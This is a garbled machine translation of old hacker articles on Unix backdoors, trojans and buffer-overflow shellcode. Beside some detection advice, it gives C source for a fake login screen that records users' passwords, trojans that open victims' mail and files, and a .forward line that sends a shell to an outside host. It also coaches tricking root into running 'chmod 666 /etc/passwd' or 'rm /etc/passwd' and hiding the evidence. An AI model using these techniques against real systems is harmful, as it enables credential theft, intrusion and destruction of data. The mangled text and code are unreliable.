Back door production and installation technology
Summary
This article will describe how to determine the complex content of the invader and how the administrator prevents the foundation knowledge of the invader from returning. (2002-09-16 13:30:19)
The latter declaration: This article is a translation article, QIANGGE has only made some modifications, and has joined some of his own experience and the procedures you wrote. Translator Iamtheguest starts with early computer invaders, they work hard to return themselves The technical or back door of the intrusion system. This article will discuss many common back door and its detection methods. More focus is placed in the back door of the UNIX system, and discuss the back door of Windows NT will appear in the future. This article will describe how to determine intrusion How to use the method of using such complex content and administrators to prevent the basics of invaders from returning to returning. When the administrator understands how difficult it is in the invader, it will be more active to prevent the first invasion. This article tries to involve a large number of popular primary and advanced intruders to make the latter's techniques, but it will not be able to overwrite all possible methods. Most invaders' back doors achieve the following two to three purposes: even if the administrator changes all passwords Similar methods to increase security, it can still be invaded again. The possibility of re-invasion is discovered to minimize. Most of the latter doors try to escape the log, most of the case, even if the intruder is using the system, it is impossible to display him online. In some cases, if the intruder believes that the administrator may detect the latter that has been installed, they use the system's vulnerability as the only back door, repeatedly, and repeatedly attack the machine. This will not cause the administrator's attention. So in this case In the case, the vulnerability of a machine is the only back door that is unless. This is the earliest way to use the invasive use, which can not only get access to UNIX machines, but can be manufactured by cracking password The back door. This is the cracked account. After the administrator seals the invader's current account, these new accounts may still be re-invading the back door. In most cases, the intruder looks for unused accounts, and then The card is changed. When the administrator finds the ingocity of the password, it will not find the account that these passwords have been modified. Therefore, the administrator is difficult to determine which account. Rhosts back door is in the network of Unix machines, icons RSH and RLogin services are a simple authentication method based on hostnames in RHOSTS files. Users can change the settings easily without passwords. Intruders, as long as they enter " in the RHOSTS file that can be accessed" ", You can allow anyone to enter this account from anywhere without your mouth. In particular, when the Home directory is shared outwards through NFS, the intruder is hot in this. These accounts have become the back door of the invader again. Many people prefer to use RSH because it usually lacks logging. Many administrators often check " ", so intruders actually set more hosts from another account from the Internet. Name and user name, it is not easy to be discovered. Check and timestamp the door, many intruders replace binary files with their own Trojan program. The system administrator relies on timestamp and system checksum to distinguish whether a binaries have been Changes, such as SUM programs in Unix. Intruders have developed new technologies that make Trojan files and original file timestamp synchronization. It is implemented: first dial the system clock back to the original file time, then adjust the Trojan file Time is system time. Once the binary Trojan file is synchronized with the original, you can set the system time back to the current time. The SUM program is based on the CRC check, it is easy to deceive. The invader designed to check Trojan's checksum Adjusted to the procedures for the original file. MD5 is recommended by most people, the algorithm used by MD5 is currently not deceived. Login latte In UNIX, the login program is usually used to pass the user of Telnet. Verification. The invader gets the original code of login.c and modifies it, allowing it to check the back door password when comparing the input password and the storage password. If the user is knocked into the back door password, it will ignore the password set by the administrator to let you drive straight. This will Allow intruders to enter any account, or even root. Since the latter password generates access to UTMP and WTMP before the log is logged in and is logged to UTMP and WTMP, the intruder can log in to obtain the shell but not expose the account. Administrator After this back door, use "strings"
Command Search for the login program to look for text information. Many cases, the back door order will prototype. Intrusioners start encrypt or better hidden ports, so that the strings command has been invalid. So more administrators are using MD5 check and detect this Back door. Telnetd back door When user telnet to the system, the listener INETD service accept connection will be handed to in.telnetd, running login by it. Some intruders know if the administrator will check if the login is modified, and then the in.telnetd. There are some tests for user information, such as the user's inside, such as the user uses the terminal. Typical terminal settings are XTERM or VT100. Intruders can do such a back door, generating a nothing when the terminal is set to "letmein" The invasive shell has made a back door for some services, producing a shell from a particular source port. The service latter almost all network services have been used by the invader. Finger, RSH, REXEC, RLOGIN, FTP, Even the version of inetd et al. Everywhere. Some are just the shell connected to a TCP port, and accesses can be obtained through the back door password. Sometimes these programs sometimes use a puncture □? UCP does not need service, or join inetd.conf as a new service. Administrator should pay very much attention to those services are running, and use MD5 to verify the original service program. Cronjob lattime Unix Cronjob can schedule specific The operation of the program. The invader can join the back door shell program to run between 1Am to 2AM, so you can get access every night. You can also view the legitimate procedures that frequently run in cronjob, and place it in the back door. Laun door almost All UNIX systems use shared libraries. The shared library is used for reuse of the same function to reduce the length of code. Some intruders have made backdoors in the function of crypt.c and _crypt.c. The program called Login.c. Crypt (), generates a shell when using the post-gate order. Therefore, even if the administrator checks the Login program with MD5, it can still generate a back door function. And many administrators do not check if the library is made back door. For many intruders There is a problem: some administrators have made MD5 checks for all things. There is a way to invade people to do the back door for the Open () and file access functions. The back door function reads the original file but execute the Trojan lattice program. So when MD5 When reading these files, check and everything is normal. But when the system is running, the Trojan version will be executed. Even if the Trojan library itself can escape the MD5 check. For administrators, there is a method to find the back door, it is static compaction The MD5 check program is then run. The static connection program does not use the Trojan shared library. The kernel lattice kernel is the core of UNIX work. The method used for liberalization of MD5 is equally applicable to the kernel level, and even static connections cannot be identified. A good kernel for a post-door is the most difficult to be found by the administrator. Fortunately, the latter line of the kernel is still not allowed. Everyone knows that it is in fact spread, and the file system rear door invaders need to be on the server. Store their plunder or data, can't be discovered by the administrator. Intruder's articles often include the Exploit script tool, the rear door set, the Sniffer log, the NS, the original code, and more. Sometimes to prevent the administrator from discovering Big files, intruders need to patch "LS", "du", "fsck" to conceal specific directories and files. At a very low level, invaders do this loopholes: cut out on the hard disk in the proprietary format Part of the sector. Therefore, intruders can only access these hidden files with special tools. For ordinary administrators, it is difficult to find file systems in these "bad sectors", and it It does exist. Boot Blocks in the world of PC, many viruses hide the root area, and the virus software is Is checking whether the root is changed. Under UNIX, most administrators do not check the root area, so some intruders will remain in the root area. The hidden process rear door invaders usually want to hide their runs. Such procedures are general It is a password crack program and a listener (SNIFFER). There are many ways to implement, here is more common: modify your own argv [] when writing programs, make it look like other process names. You can change the sniffer program Similar to IN.Syslog Execute again. Therefore, when the administrator uses "PS"
When checking the running process, the standard service name appears. You can modify the library function to cause "PS" to display all processes. You can embed a back door or program to interrupt the driver to make it not appearing in the process table. Use this technology a back door The example is amod.tar.gz: http://star.niimm.spb.su/~mailist/bugtraq.1/0777.html can also modify the kernel concealed process. Rootkit is one of the most popular back door installation packages to rootkit. It It is easy to find with a web search. From ROOTKIT's Readme, some typical files can be found: Z2 - Removes Entries from Utmp, WTMP, and LastLog.
ES - ROKSTAR'S Ethernet Sniffer for Sun4 based Kernels.
FIX - TRY To Fake Checksums, Install with Same Dates / Perms / U / g.
SL - Become Root Via a Magic Password Sent To Login.
IC - Modified ifconfig to remove promisc flag from output.
. - HIDES The Processes.
NS - Modified NetStat to Hide Connections to Certain Machines.
LS - HIDES CERTAIN DIRECTORIES AND FILES from Being Listed.
DU5 - HIDES How much space is being used on your hard driving.
LS5 - HIDES CERTAIN FILES AND DIRECTORIES from Being Listed.
Network traffic lattime invaders not only want to hide the traces in the system, but also hide their network pass. These network traffic lattime Sometimes it allows invaders to access through firewalls. Many network back door programs allow invaders to establish a port number and Access can be achieved without passing through ordinary services. Because this is through non-standard network port, the administrator may ignore the invader's footprint. This back door usually uses TCP, UDP and ICMP, but may also be other types of packets. TCP Shell back door invaders may establish these TCP Shell backdoors in high TCP ports without blocking. Many cases, they protect them with passwords to prevent administrators to see the shell access. Administrator can use the netstat command to view the current Connection status, those ports are listening, currently connected to the dragon deranes. Usually these backmen can make the invaders escaped TCP Wrapper technology. These backmen can be placed in the SMTP port, and many firewalls allow E-mail to pass. UDP shell back door administrators often Pay attention to the TCP connection and observe its weird situation, and the UDP shell rear door has no such connection, so NetStat cannot display traces of the invader. Many firewalls are set to allow similar DNS UDP packets. Utly invaders placed UDP shells This port allows the firewall to be passed through the firewall. ICMP shell back door ping is one of the general measures for detecting machine activity status by sending and receiving ICMP packets. Many firewalls allow outside of its internal machines. Intruders can place data into ping ICMP packages, There is a shell channel between the PING machine. Administrator may notice the ping package storm, but in addition to him to view the package data, the invader will not expose. Encrypted connection administrators may establish a Sniffer to try to access the data. However, when the invader gives the network pass door encryption, it is impossible to determine the transfer content between the two machines. Windows NT Due to the Windows NT can't easily allow multiple users to access a machine under UNIX, for the invaders It is difficult to break into Windows NT, install the back door, and launch an attack. So you will see a wide range of network attacks from UNIX. When Windows NT increases multi-user technology, the intruder will use WindowsNT more frequently. If this day is true, many UNIX back door technology will be transplanted on Windows NT, and the administrator can wait for invaders. Today, Windows NT already has a Telnet daemon. By network passing, invaders have discovered in WindowsNT installations are feasible. (With NetWork Traffic Backdooors, Therevery Feasible for Intruders to Install on Windows NT. What translated here?
: (Solve the more advanced in the back door technology, the more the administrator is more difficult to determine if the invader invaded whether they have been successfully blocked. Assessment is the first to actively estimate your network vulnerability, thus determining the existence of the vulnerability and fixes Many commercial tools are used to help scan and check the vulnerability of the network and system. If you only install the provider's security patches, many companies will greatly improve the security. An important factor in a system (secure) scan for MD5 benchmarks is MD5 Calibration and benchmark line. The MD5 baseline is established by the clean system before the hacker invasion. Once the hacker invaded and established the backdoor and then established the baseline, then the back door is also incorporated into it. Some companies are invaded and the system is resettled and the system is resettled. A few months. All system backups include backdoors. When the company founds hackers and helps backup, every effort is futile, because they also recover the back door while recovering the system. Should be made before the invasion Establishment. Intrusion detection With various organizations' Internet and allows for the connection of certain machines, intrusion detection is increasingly important. Previous major invasive detection technology is based on log type. The latest intrusion detection system technology ( IDs) is based on real-time listening and network traffic security analysis. The latest IDS technology can browse the UDP packets of DNS and determine if the DNS protocol request is complied. If the data does not meet the protocol, a warning signal is issued and the data is further Analysis. The same principle can be applied to the ICMP package, check whether the data meets the agreement requirements, or whether to load the encrypted shell session. Start some administrators from the CD-ROM to start from the CD-ROM to do on the CD-ROM The possibility of the latter door. The problem of this method is to achieve the cost and time. WARNING Due to the fast changes in security, new vulnerabilities are announced, while invaders are constantly designing new attack and resettlement There is no safety technology that is worry-free with a pillow. Please remember that there is no simple defense, only unremitting efforts! (Be aware there is no substitute for diligent Attention. This sentence is translated?: () You May Want To Add:
.forward backdoor
Onn Unix Machines, Placing Commands Into The .forward File Was Also
A common method of regaining access. for the account `` username ''
a .forward file might be constructed as flollows:
Username
| "/ usr / local / x11 / bin / xterm -disp Hacksys.other.dom: 0.0-E
/ bin / sh
Permutations of this Method Include Alteration of the Systems Mail
AliaseS file (MOST Commonly Located At / etc / aliases). Note That
THIS Is A Simple Permutation, The More Advanced Can Run A Simple
Script from the Forward File That Can Take Arbitrary Commands Via
Stdin (after minor preprocessing).
PS: The Above Method Is Also Useful Gaining Access A Company
Mailhub (Assuming There Is A Shared A Home Directory FS On
The client and server.
> USING SMRSH CAN Effectively Negate this Backdoor (Although It's Quite
> POSSIBLY STILL A Problem if you allow Things Like Elm's Filter Or> Procmail Which Can Run Program Themselves ...).
You may have to add: .forward back door UNIX Under. The order in which the command is re-acquired. Account 'username' .forward may set the following:
Username
| "/ usr / local / x11 / bin / xterm -disp Hacksys.other.dom: 0.0-E
/ bin / sh
Modifications of this method include changing the MAIL of the system (usually located in / etc / aliases). Note that this is just a simple transformation. More advanced can run simple script from .forward to perform any command in standard input (After small partial pretreatment).> Use SMRSH to effectively stop this back door (although it is allowed to run the Elm's filter or procmail> class program, it is very likely to have problems ...) (This paragraph) The content is not deep, so paying an English, please advise!) You may use this "character" to do the back door: When you specify a wrong UID / GID in / etc / password, most login (1) is implemented Is it possible to check the UID / GID of this error, and ATOI (3) will set UID / GID to 0, which gives the super user's right. Example:
Rmartin: x50: 50: r. martin: / home / rmartin: / bin / tcsh in Linux, this will set the UID of the user Rmartin to 0. Hack Tips - Trojma Martin Translation preamble using Trogan Horses Unix Unix security "is a contradictory modification. It is a system that can be easily broken by violent attacks. (Most UNIX systems do not hang due to multiple wrong logins, and it also has many default logins Name, Root, Bin, Sys, UCCP, etc.) Once you are logged in to the system, you can easily cover it, if you will be a little C language, you can make the system work for you, and fully avoid the security barriers of the system. Establish your own login, read anyone's documentation, et al. This article will provide some C's source code for everyone to practice. Configuration requires that you need a valid account of a UNIX system. To get the best effect, it is best to use work A complete UNIX version (such as 4.2bsd or at & t system v) on a true machine (a PDP / 11, VAX, Pyramid, etc.). If you can get an account in the school's system, it is better. Note This article is written by a "Making Unix Secure." In the Issue of Byte in April 86. In that article, the author said "We hope that the information provided is interesting but no It will become the 'destroyed recipe'. We often have some details "I gave example based on the overall outline of this article, give examples of the methods they mentioned. Step 1: Get the password you need skill is just some The most basic Unix and C language common sense. However, you have to use the terminals such as the school computing in the center. When you log in to a typical UNIX system, you can see these:
Tiburon Systems 4.2BSD / System V (Shark)
Login: Shark
Password: (does not display)
The program I offer can simulate a login process. You run this program on the terminal, then leave. If you log in, if you log in, their login information will be saved as a document, and the "login incorrect" will be displayed on the screen. Those guys will be asked to log in again. The second time is a real login, then they have succeeded. Obviously those guys are not smart. The following source code generates the file 'horse.c' on the system. Because the system has different Version, you may need to modify the first 8 lines.
----- Code Begins Here -----
/ * this is what a 'c' Comment Looks Like. You can Leave the. * // * # Define's Are Like Macros You can use for configuration. * /
#define system "Tiburon Systems 4.2BSD UNIX (Shark"
/ * The Above string SHOULD BE Made to Look Like The Message That Your
* System Prints When Ready. Each Repesents a carriage return.
* /
#define login "Login:"
/ * The Above is the login prompt. You Shouldn't Have to change it
* Unless You're Running Some Strange Version of UNIX.
* /
#define password "Password:"
/ * The Above is the password prompt. You Shouldn't Have to change
* IT, EIGER.
* /
#define wait 2
/ * The numeric value assigned to wait is the delay you get after
* "Password:" And Before "login incorrect." Change it (0 = almost
* No delay, 5 = long delay) SO IT Looks Like your system's delay.
* Realism is the key here - we don't wantur target to become
* SUSPICIOS.
* /
#define insorrect "Login IncorRect"
/ * Change The Above So it is what your system say when an incorrect
* login is given. You Shouldn't Have to Change IT.
* /
#define filename "stuff"
/ * Filename is the name of the file what the Hacked Passwords Will
* Be put into automatically. 'stuff' is a perfectly good name.
* /
/ * Don't change the rest of the program unless there is a nesed to
* AND You KNOW 'C'.
* /
#include
#include
Int stop ();
Main ()
{Char Name [10], Password [10];
INT I;
FILE * fp, * fopen ();
Signal (SIGINT, STOP);
INITSCR ();
Printf (system);
PRINTF (LOGIN);
Scanf ("% [^]", name);
GetChar ();
Noecho ();
Printf (Password);
Scanf ("% [^]", password;
PRINTF (""); getchar ();
echo ();
SLEEP (WAIT);
IF (fp = fopen (filename, "a")))! = null) {
#fprintf (FP, "Login% S Has Password% S", Name, Password);
#fclose (fp);
#}
Printf (IncorRect);
Endwin ();
}
STOP ()
{
Endwin ();
exit (0);
}
----- Source Ends Here ------
Ok, complete the above work and debug, so that it looks like your system's login process. Compile 'Horse.c' with the following two lines: (Do not play '%' s, that is a prompt)
% cc Horse.c -lcurses -LTERMCAP
% mv a.out horse
Now you have this Horse program. Run, if it looks unlike the system's login process, you have to edit Horse.c and recompile. When you are ready to run the program, you should build a first New files such as 'trap' or other name. 'TRAP' should include the following two lines command:
Horse (this runs your program) login (this real login program) performs 'trap' input:
% Source Trap (Do not make%) then you can leave the terminal, wait ... When you run this procedure several times, check the document 'stuff' (or other document you specify). It looks like this:
User John Has Password Secret
User Mary Has Password Smegmaetc.
Record the password and delete this document (if the system administrator sees, it is not bad). Note - to achieve the best effect, the terminal should be set to no user pause mode - so that your Horse program will not The idle is on the terminal for a few hours. The next step is how to operate on a remote system, such as you invade Michigan's VAX, or Dartmouth's UNIX system or other system. But this requires some 'c' language Knowledge. These beginners who are not suitable for UNIX. Step 2: Read anyone's document When you run the program, this is actually a thing that establishes the operation and letting it do it, if you delete the document you specify Or create a valid document that can read anyone. When people save on UNIX systems, the mail is saved in the form of a document in the form of the document in the form of Mbox, which usually reads, but usually Just the owner of the document can read and not everyone has this right. There is a small program to unwield (that is, CHMOD 777, or anyone on the system can read, write, execute) that run this procedure Documents in human Mbox:
----- Code Begins Here -----
#include
Struct Passwd * getpwnam (name);
Struct Passwd * P;
Char BUF [255];
Main ()
{
p = getPwnam (getLogin ());
Sprintf (buf, "% s /% s", p-> pw_dir, "mbox");
IF (Access (BUF, 0)> -1) {
Sprintf (BUF, "CHMOD 777% S /% S", P-> PW_DIR, "MBOX");
SYSTEM (BUF);
}
}
----- Code Ends Here ------
The problem is how to make my goal in my directory this program? If your system has Public-Messages (on the 4.xbsd system, enter 'msgs') You can post your program there. Write the above code into another program, find a useful or a game program (usually able to find them in the UNIX World Class Magazine), let them complete the above tasks and then complete the original task. If you There is a program called TiC-Tac-ToE and you have modified it, let it unlock the document in the user's MBox before you run TiC-Tac-Toe, you have to promote "I have a new TiC- TAC-TOE program, you should try it. It is in my directory. "Or else, if you don't want to tell everyone through public notice, then send it to those you want to catch. If you want to capture. You can't find a real program to modify, use the above program and add such a line between two '}', plus: Printf ("Error Opening Tic-Tac-ToE Data File. Sorry! "); When the program runs, it will display the wrong information above. Users will think" Hey, the guy will not write a simple TiC-Tac-ToE program. "In fact, the people who are really tuned It is himself, you can now read his email. If there is a specified file in the user's directory you want to see (such as "Secret"), you only need to send the following procedure to the user:
Main ()
{
IF (Access ("SECRET", 0)> -1) System ("Chmod 777 Secret");
}
Then express Joe Loser and tell him: "I wrote a program called 'Super Planet Wars'. Do you want to try it?" You should give full play to your imagination. Think about some instructions to make those people to execute, and Put them in the system in the form of C language. Then lure those people to run your program. There is a very clever way to use the above skill: Step 3: Become a super user writes a program to let others run. In the program Join this line:
If (! strcmp (getlogin (), "root")) System ("who Want"); this is to check if root is running your program. If so, you can let him perform any shell you want to do. Commands You can let him perform the following command:
"ChMOD 666 / etc / passwd" / etc / passwd is the system's password storage document. Only root has this document. Usually all users can read it (password has been encoded), but only root can override it. If you Didn't read it, you have to take a look at its format. This order allows you to write something in this document. That is to say to build an unrestricted account for you and your friends.
"CHMOD 666 / ETC / Group" can leave a lot of back door by adding you to the high-rights-limited group.
"Chmod 666 /usr/lib/uucp/l.sys" If you are on the UUCP online, find a document in the system. It contains dial-up links and passwords that are connected to other systems, usually only UUCP administrators can read. Find someone who owns this document, then let him do not know how to let you unlock the document.
"RM / etc / passwd" If you can get root permissions, run the bar command, the system's passwd document will be removed, the system will stop and cannot be recovered in the short term. This is caused by huge losses. If you are ready to add Troima programs to your system, you should follow several rules. If you are an unspeakable purpose (such as unwriting the user's MBOX or deleting all of his files or what else) this program is not It may be a program that allows others to run multiple times, because once people find that their files have been made public, the root cause of the problem is easily discovered. If it is a 'test' program (such as a game you are writing Program), you can run or discuss with them through email. As I said, this 'test' program can display fake error messages when you complete the task, you can tell the person "Hey, I think It should be improved ", wait until they leave, you can read any document you unopened. If your Trojan horse is just a special user, such as root, or other users with high privileges, you can Join the code into a program that users use in the system. Your modification will latenner until he runs that program. If you can't find a source or other C language program that can let you travel 'Star Travel', you Just learn C language and change from Pascal. There is no loss of learning C language, because it is a very great language. We have seen it can do it on the UNIX system. Once you caught Root (That is, you can modify the / etc / passwd document) Delete the forged code from your Trojan horse program, so you will never be caught. Return to the hacker day Buffer overflow mechanism analysis buffer overflow Methods to invading the target are a means of hackers often adopt, this paper makes several articles that introduce their mechanisms have made some processing, and the mechanism of it makes a shallow depth. This paper is divided into several parts. Friends can choose different chapters in accordance with their interests: About the basic knowledge of the stack Buffer overflow's principles of the SHELL CODE, the problems encountered in the actual use of the actual application, I have the basics of the stack, an application is running, it is in memory The image can be divided into three parts: code segment, data segment, and stack segment (see the figure below). The code segment corresponds to the text section in the run file, including running code and only data, this segment is in memory. Marking is read-only, any instruction to modify the data in this section will trigger a segmentation viological error The data segment corresponds to the Data Section and BSS Section in the run file, where various data (initialized and unmelted) and static variables will be described in detail, and we will introduce the stack segment. | ---- ---- | Delivery low end
| | |
| Code segment |
| | |
| ---------- |
| | |
| Data segment |
| | |
| ---------- |
| | |
| Stack section |
| | |
| -------- | Virtual high end
What is the stack? If you learn << Data Structure >> This class, you will know that the stack is an abstract data type that is often used in a computer. There are two main operations on the stack: Push and POP Pressing and popping out. The stack is characterized by LIFO (Last In, First Out), which is the first to be pressed into the stack. The stack is first popped up. What is the role of the stack segment? Most of the programmers are now using advanced The language is modular programming. In these applications, various function calls are inevitable, such as call C runners, Win32 API, and more. These calls are compiled into a Call statement. When the CPU is executing When this command, in addition to the entry point of calling the IP to call the function, put the call back address into the stack. These function calls often have different number of entry parameters and local variables, in this case The compiler tends to generate some instructions to store these data into the stack (some can also be passed through register). We call a function to store these data and return addresses called a stack frame (Stack frame). Frame structure: Below we analyze the structure of a stack frame through a simple example .void Proc (INT i)
{
INT local;
Local = i;
}
void main ()
{
Proc (1);
}
This code is compiled into: (as an example of PC) after the compiler
Main: Push 1
Call Proc
. . .
Proc: Push EBP
MOV EBP, ESP
SUB ESP, 4
MOV EAX, [EBP 08]
MOV [EBP-4], EAX
Add ESP, 4
POP EBP
Ret 4
Let's analyze this code.
Main: Push 1
Call Proc
First, press the parameter 1 to be used to press the stack, then Call Proc
Proc: Push EBP
MOV EBP, ESP
We know that ESP points to the top of the stack. When the function is called, each parameter and local variables are only related to the ESP in the stack. If you can access parameters by [ESP 4] 1. But with the program running, stack The new data is placed, and the ESP also changes, and it cannot be accessed by [ESP 4]. Therefore, in order to facilitate the access to the parameters and variables, the compiler introduces a base address. Register EBP, first store the original value of EBP into the stack, then assign the value of the ESP to EBP, so you can use [EBP 8] to access parameter 1.
SUB ESP, 4 Reduces the ESP 4, leave an int to use the local variable Local, Local can be accessed by [EBP-4]
MOV EAX, [EBP 08]
MOV [EBP-4], EAX
That is, = i;
Add ESP, 4
POP EBP
Ret 4
First ESP plus 4, retract the space of the local variable, then POP EBP, restore the original value of the EBP, final RET 4, get the return address from the stack, change the EIP to this address, and add the ESP to 4, and the space occupied by the parameters It is not difficult to see that the structure of the stack frame is as follows when executing the Proc process:
4 4 4 4
[Local] [EBP] [RET Address] [Parameter 1] Memory high-end
| | |
ESP (Top) EBP
Therefore, we can summarize the structure of the general stack frame:
. . [Local1] [Local2]. . [Localn] [EBP] [RET Address] [Parameter 1] [Parameters 2]. . [Parameter n]
| | |
ESP (Top) EBP
After understanding the structure of the stack frame, we can now take a look at the mechanism of Buffer overflow. 2. Buffer overflow mechanism We first give an example to show what is buffer overflow:
Void function (char * str)
{
Char buffer [16];
STRCPY (Buffer, Str);
void main ()
{
CHAR LARGE_STRING [256];
INT I;
For (i = 0; i <255; i )
Large_string [i] = 'a';
Function (large_string);
}
There is a problem with buffer overflow in this program. We can see that the length of the string passed to the function is much larger than the buffer, and the function does not have a long character to copy the long character in Buffer without any length verification. If you If you execute this program, the system will report a Segmentation Violation error. Let's take a look at why? First let's take a look at the situation in the stack when you don't perform StrcPy:
16 4 4 4
... [Buffer] [EBP] [RET Address] [Large_String Address]
| | |
ESP EBP
When StrcPy is executed, the program will copy 256 Bytes to buffer, but buffer can only accommodate 16 bytes, then what happens at this time? Because the C language does not perform a boundary check, the result is 250 bytes behind the buffer. The content is also covered, which naturally includes EBP, RET address, large_string address. Because the RET address turns 0x41414141H, it will return to the 0x41414141h address, but due to this The address is not within the virtual space range actually used by the program, so the system will report the segmentation viological. From the above example, we can change the process returned by Buffer overflow to change the process in the stack, thereby changing the entire program Process, make it turned anywhere we want to go. This provides the hacker with a machine, the most common method is to embed a piece of code in the long string, and override the return address of the process to this The address of the segment code, so when the process returns, the program turns to perform this self-compiled code. Generally, this code is executing a shell program (such as INSH), because of this, when we When invading a program with buffer overflow defects and has a Suid-root property, we will get a shell with root privileges. In this shell, we can do anything. Therefore, this code is generally called Shell Code. Let's take a look at how to write shell code. 3. Write the Shell Code below is a C program shellcode.c that creates a shell: (this article is described as an example of Linux on Intelx86)
Void main () {
Char * name [2];
Name [0] = "/ bin / sh";
Name [1] = NULL;
Execve (Name [0], Name, NULL);
}
Let's compile it to execute code, then use GDB to analyze it. (Pay attention to compile -static options, otherwise the execve code will not put into the execution code, but as a dynamic link to run when it is running .)
[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c
[ALEPH1] $ GDB shellcode
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(GDB) Disassemble MAINDUMP OF Assembler Code for Function Main:
0x8000130
0x8000131
0x8000133
0x8000136
0x800013D
0x8000144
0x8000146
0x8000149
0x800014a
0x800014D
0x800014e
0x8000153
0x8000156
0x8000158
0x8000159
End of assembler dump.
(GDB) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
0x80002CE <__ execve 18>: int $ 0x80
0x80002d0 <__ execve 20>: MOVL% EAX,% EDX
0x80002d2 <__ execve 22>: Testl% EDX,% EDX
0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>
0x80002d6 <__ execve 26>: NEGL% EDX
0x80002d8 <__ execve 28>: Pushl% EDX
0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location>
0x80002de <__ execve 34>: POPL% EDX
0x80002df <__ execve 35>: MOVL% EDX, (% EAX)
0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX
0x80002e6 <__ execve 42>: POPL% EBX
0x80002e7 <__ execve 43>: MOVL% EBP,% ESP
0x80002e9 <__ execve 45>: POPL% EBP
0x80002ea <__ execve 46>: RET
0x80002eb <__ execve 47>: NOP
End of assembler dump.
Below let's first analyze the role of each statement in the MAIN code:
0x8000130
0x8000131
0x8000133
This is the same as the previous example, and the inlet processing of a function, saves the previous stack frame pointer, updates the stack frame pointer, and finally leave space for local variables. Here, local variables are:
Char * name [2]; that is, two character pointers. Each character pointer holds 4 bytes, so there is a total of 8 bytes.
0x8000136
Name [0] = "/ bin / sh";
0x800013D
Put NULL in the memory cell of Name [1], that is, equivalent to:
Name [1] = NULL; the call to execve () begins with below:
0x8000144
0x8000146
0x8000149
Press the start address of Name [] into the stack
0x800014a
0x800014D
Press the address of the string "/ bin / sh" into the stack
0x800014e
Calling execve (). Call instruction first puts the EIP into the stack Now let's take a look at the code of Execve (). To pay attention to, different operating systems, different CPUs, the way they generate system calls is also the same. Some use soft interrupts, some use remote calls. From the perspective of parameter delivery, some use registers, some use the stack. Our example is running on the Intel X86-based Linux. So we should first know Linux, system call is generated in a soft interrupt (INT 80H), and the parameters are passed to the system through registers.
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
The same inlet treatment
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
Assign 0xB (11) to Eax, which is an indecve () index number in the system. 0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX will set the address of the string "/ bin / sh" to EBX
0x80002C8 <__ execve 12>: MOVL 0xc (% EBP),% ECX will give Name [] to ECX
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX will give null address to EDX
0x80002CE <__EXECVE 18>: int $ 0x80 generates system call, enter core state operation. I saw the code above, now we can stream it into the following assembly language program:
LEAL STRING, STRING_ADDR
Movl $ 0x0, NULL_ADDR
MOVL $ 0XB,% EAX
MOVL STRING_ADDR,% EBX
LEAL STRING_ADDR,% ECX
LEAL NULL_STRING,% EDX
INT $ 0x80
(I have not much understanding of Linux's assembly language format, so these sentences are used in the format of DOS assembly language)
String DB "/ bin / sh", 0
String_addr DD 0
NULL_ADDR DD 0
However, there is still a problem in this code, that is, we don't know where the program is executed when writing shellcode, so like:
MOVL STRING_ADDR,% EBX This requires an absolute address encoding into the machine language. Solving this problem is to use an additional JMP and Call instructions. Because these two instruction codes are relatively The offset address of IP is not an absolute address, so we can join a JMP instruction at the beginning of shellcode, add a CALL instruction before string. As long as we calculate the byte length of the program encoded, you can make JMP instructions to jump Execute at the Call instruction, and the CALL instruction points to the next instruction of JMP, because the CPU will return the address (here is the address here) when executing the CALL instruction, so we can get at runtime String absolute address. With this indirect addressing method, we can easily access string_addr and null_addr. After the above modification, our shellcode turns into the following:
JMP 0x20
POPL ESI
MOVB $ 0x0,0x7 (% ESI)
MOVL% ESI, 0x8 (% ESI)
MOVL $ 0x0,0xc (% ESI)
MOVL $ 0XB,% EAX
MOVL% ESI,% EBX
LEAL 0x8 (% ESI),% ECX
LEAL 0xC (% ESI),% EDX
INT $ 0x80
Call -0x25
String DB "/ bin / sh", 0
String_addr DD 0
NULL_ADDR DD 0 # 2 Bytes, jump to CALL
# 1 byte, pop up the String address
# 4 Bytes, turn string to string ending with '' ''
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes, jump to POPL% ESI
We know that the string in the C language is in '' 'end, and Strcpy is the end run. Therefore, in order to ensure that our shellcode can be completely copied into the buffer, you must not contain' '. Let's For its last improvement, remove '':
Original directive: replacement is:
MOVB $ 0x0,0x7 (% ESI) xorl% Eax,% Eaxmovl $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)
MOVL% EAX, 0xc (% ESI)
MOVL $ 0XB,% EAX MOVB $ 0XB,% Al
OK! Now we can test this SHELLCODE. First we package it into the form of C language.
Void main () {
__ASM __ ("
JMP 0x18 # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
XORL% EAX,% EAX # 2 bytes
MOVB% EAX, 0x7 (% ESI) # 3 bytes
MOVL% EAX, 0xc (% esi) # 3 bytes
MovB $ 0XB,% Al # 2 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Call 0x2d # 5 bytes
.string "/ bin / sh" # 8 bytes
");
}
After compiling, the machine code for this assembly language with GDB is:
